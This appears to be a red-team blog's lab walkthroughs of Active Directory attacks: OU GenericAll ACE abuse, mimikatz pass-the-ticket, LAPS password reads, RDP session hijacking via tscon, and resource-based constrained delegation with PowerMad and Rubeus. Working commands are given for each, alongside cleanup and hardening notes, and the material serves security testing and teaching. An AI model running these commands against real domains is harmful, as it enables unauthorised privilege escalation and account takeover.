Category: Labs + Projects

Take the following scenario:

This is bit of an odd one however misconfigurations as we know happen. Our standard user Ted has GenericAll DACL permissions over the object ‘Development’ OU (Organisation Unit). We see that our target admin ‘Terry_adm’ also sits under the Development OU, however we don’t automatically have GenericAll over this account just the OU. So how do we take advantage of this privilege and abuse the GenericAll to compromise the Terry_adm account? Lets walk through a proof of concept.

Lets first take a look at this configuration in AD Users and Computers, we can see that the Principal ‘Ted’ only has full control over ‘This object only’ ie the Development OU. We will look to effectively extend this to all descendant objects as shown in the attack path in Bloodhound to get to Terry_adm :

Lets just first prove we don’t have access to the target admin account terry_adm by trying to reset its password:

OK fine, we don’t have access to change Terry_adm password.

Next we will need the Development OU GUID, we can use PowerView for this or get it from Bloodhound:

Once we have this we can build the ACE on the development OU object, to allow us to have access to all descendant objects of the OU. The below is a one liner, remember to change both the ‘PrincipalIdentity’ value to the username who has GenericAll permission and also the GUID of the OU (read through the below and try to understand what its doing):

$Guids = Get-DomainGUIDMap; $AllObjectPropertyGuid = $Guids.GetEnumerator() | Where-Object {$_.value -eq 'All'} | Select -ExpandProperty name; $ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity Ted -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectPropertyGuid; $OU = Get-DomainOU -Raw '3346827a-1a03-4345-99da-c991532481cf'; $DsEntry = $OU.GetDirectoryEntry(); $dsEntry.PsBase.Options.SecurityMasks = 'Dacl'; $dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE); $dsEntry.PsBase.CommitChanges()

If we then wait a few minutes and then try to reset Terry_adm password to prove we now have GenericAll all against descendant objects of the OU we get:

Nice.

Lets quickly take a look in the backend and review the DACL in AD Users and Computers for the Development OU:

Very nice, we can now see we have the ‘This object and all descendant objects’ applied. Remember you will need to reverse your actions as a tester.

The same process can be applied to computer objects, once the ACE is created follow the ‘Resource-based Constrained Delegation: Attack Path’ for computer take over.

Big thanks to SpecterOps who demonstrate the process here.

Take the following scenario, you have local admin rights on a server and have identified a high value target that has a session logged in, where do you go from here? From the Bloodhound screenshot below we can see that Bob_adm has a session on web1.

Lets explore compromising the bob-adm session. First we’ll log in to web1 dump the ticket using mimikatz and the reuse it to impersonate that user.

First we will Load mimikatz in a high integrity session and run up “privilege::debug” “sekurlsa::tickets /export”

This will export a bunch of tickets into the directory where you ran mimikatz from and will look similar to this:

Notice the differences in the tickets we can see some are Ticket Granting Tickets (TGT) which have been used to gain Ticket Granting Service (TGS) for specific services such as ldap, cifs etc. The ticket we are interested in is the krbtgt.

Next we will use mimikatz to inject one of the kirbi files into our own session:

kerberos::ptt[0;141473]-2-0-40e10000-bob_adm@krbtgt-JANGO.COM.kirbi

If we check the ticket we can see the following in mimikatz:

And then in windows with klist:

Then finally to impersonate bob_adm we will test our newly crafted ticket by browsing to the C$ or the domain controller:

Nice.

Take the following scenario, we have compromised Ted’s account, we identify he has LAPS read permissions to a few boxes, how do we go about taking advantage of that from the Red Team attack perspective? Well its pretty straight forward with no catches, we just read the AD ms-Mcs-AdmPwd attribute from the computer object.

In this case our compromised user has the ability to read the ‘ms-Mcs-AdmPwd’ LAPS attribute on SQL1 which is the password field for the local administrators account. With the right tools ted can read this attribute, we will use PowerView.

Import PowerView (in this instance I’m using Covenant the .NET command and control framework):

Get-DomainObject SQL1.Jango.com -Properties "ms-mcs-AdmPwd",name

If we look at the attribute editor in AD Users and Computers for the SQL1 account we can see this aligns:

Easy!

Note: The moral of this story, ensure the principle of least privilege is followed, ask yourself was Ted supposed to be in that group. I’ve written about the benefits of LAPS here and here, however careful configuration is required. Ensure you LAPS permissions are in check.

Take the following scenario, you compromise a box through a Kerberoastable SPN, which just so happens to be a SQL account which has been added to the local administrators group on the SQL server (very common scenario). Also logged into the server via RDP is another admin. We can effectively take over this session through Microsoft native tooling using Remote Desktop Services: Session Shadowing:

You RDP in and enumerate the logged on sessions with ‘query user’.

We can see that bob-adm is also logged on and is in an ‘Active’ session, now this is a very risky maneuver and should really be considered as a last resort as it will effectively take over the other users session. If you try to connect to the users session through task manager like below you will be prompted for a password:

However the key thing here is that you don’t need the users password if you run the process as local SYSTEM.

We can achieve this simply in two ways:

Create a simple service like below in the context as local SYSTEM:

sc create rdptakeover binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#1"

Looking at the service in more detail it is in fact created to run as local SYSTEM:

We can then just start the service with:

sc start rdptakeover

The RDP session that your currently logged in with will literally switch over to the other session instantly.

The same process can be achieved with mimikatz as below:

The commands being:

privilege::debug
token::elevate
ts::sessions
ts::remote /id:2

One way we can reduce the impact of this is to use group policy to remove disconnected remote sessions, we do this with the following policy:

Administrative Templates / Windows Components / Remote Desktop Services / Remote Desktop Session Host / Session Time Limits

Take the following scenario:

Our standard user Ted has GenericAll writes over file1.jango.com. However, how do we take advantage of this privilege, first lets just prove we don’t have access to the target server:

We will need the following info (track this as you go):

Target Computer Name: file1.jango.com
Admin on Target Computer: administrator
Fake Computer Name: fakecomputer
Fake Computer Sid: S-1-5-21-759278571-4292840072-3113789661-1116
Fake Computer Password: Password1

Using PowerMad we can create a fake computer system, any domain user can do this in the domain:

import-module PowerMad.ps1

New-MachineAccount -MachineAccount fakecomputer -Password $(ConvertTo-SecureString 'Password1' -AsPlainText -Force)

Get the SID for the new fakecomputer object with PowerView:

Get-DomainComputer fakecomputer -Properties objectsid | Select -Expand objectsid

Next, build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-759278571-4292840072-3113789661-1119)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); 
Get-DomainComputer file1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

No output will be generated for this, so to verify this has worked run the following:

$RawBytes = Get-DomainComputer file1 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity; $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0; $Descriptor.DiscretionaryAcl

We can see that the ACE has been built:

NOTE: This will modify the ‘msds-allowedtoactonbehalfofotheridentity’ of the target computer system!!!!!!!

Now our our new machine fakecomputer is trusted by by file1 we can forge a ticket with Rubeus:

First we need the rc4_hmac (ntlm):

Rubeus hash /password:Summer2018! /user:fakecomputer /domain:jango.com

The we can craft the ticket:

Rubeus s4u /user:fakecomputer$ /rc4:64F12CDDAA88057E06A81B54E73B949B /impersonateuser:bob_adm /msdsspn:cifs/file1.jango.com /ptt

Verify we can now access the C:\ drive of the target machine. NOTE: the above ticket has been crafted specifically for access to the target machine for that service ONLY:

We can also verify by looking at the tickets with built in klist and then Rubeus:

Finally to cleanup the modified AD object and clear the ‘msds-allowedtoactonbehalfofotheridentity’ attribute with PowerView:

Get-DomainComputer file1 | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity'

Thanks to both harmj0y and wald0 for these excellent posts on the subject:

https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/

https://www.youtube.com/watch?v=RUbADHcBLKg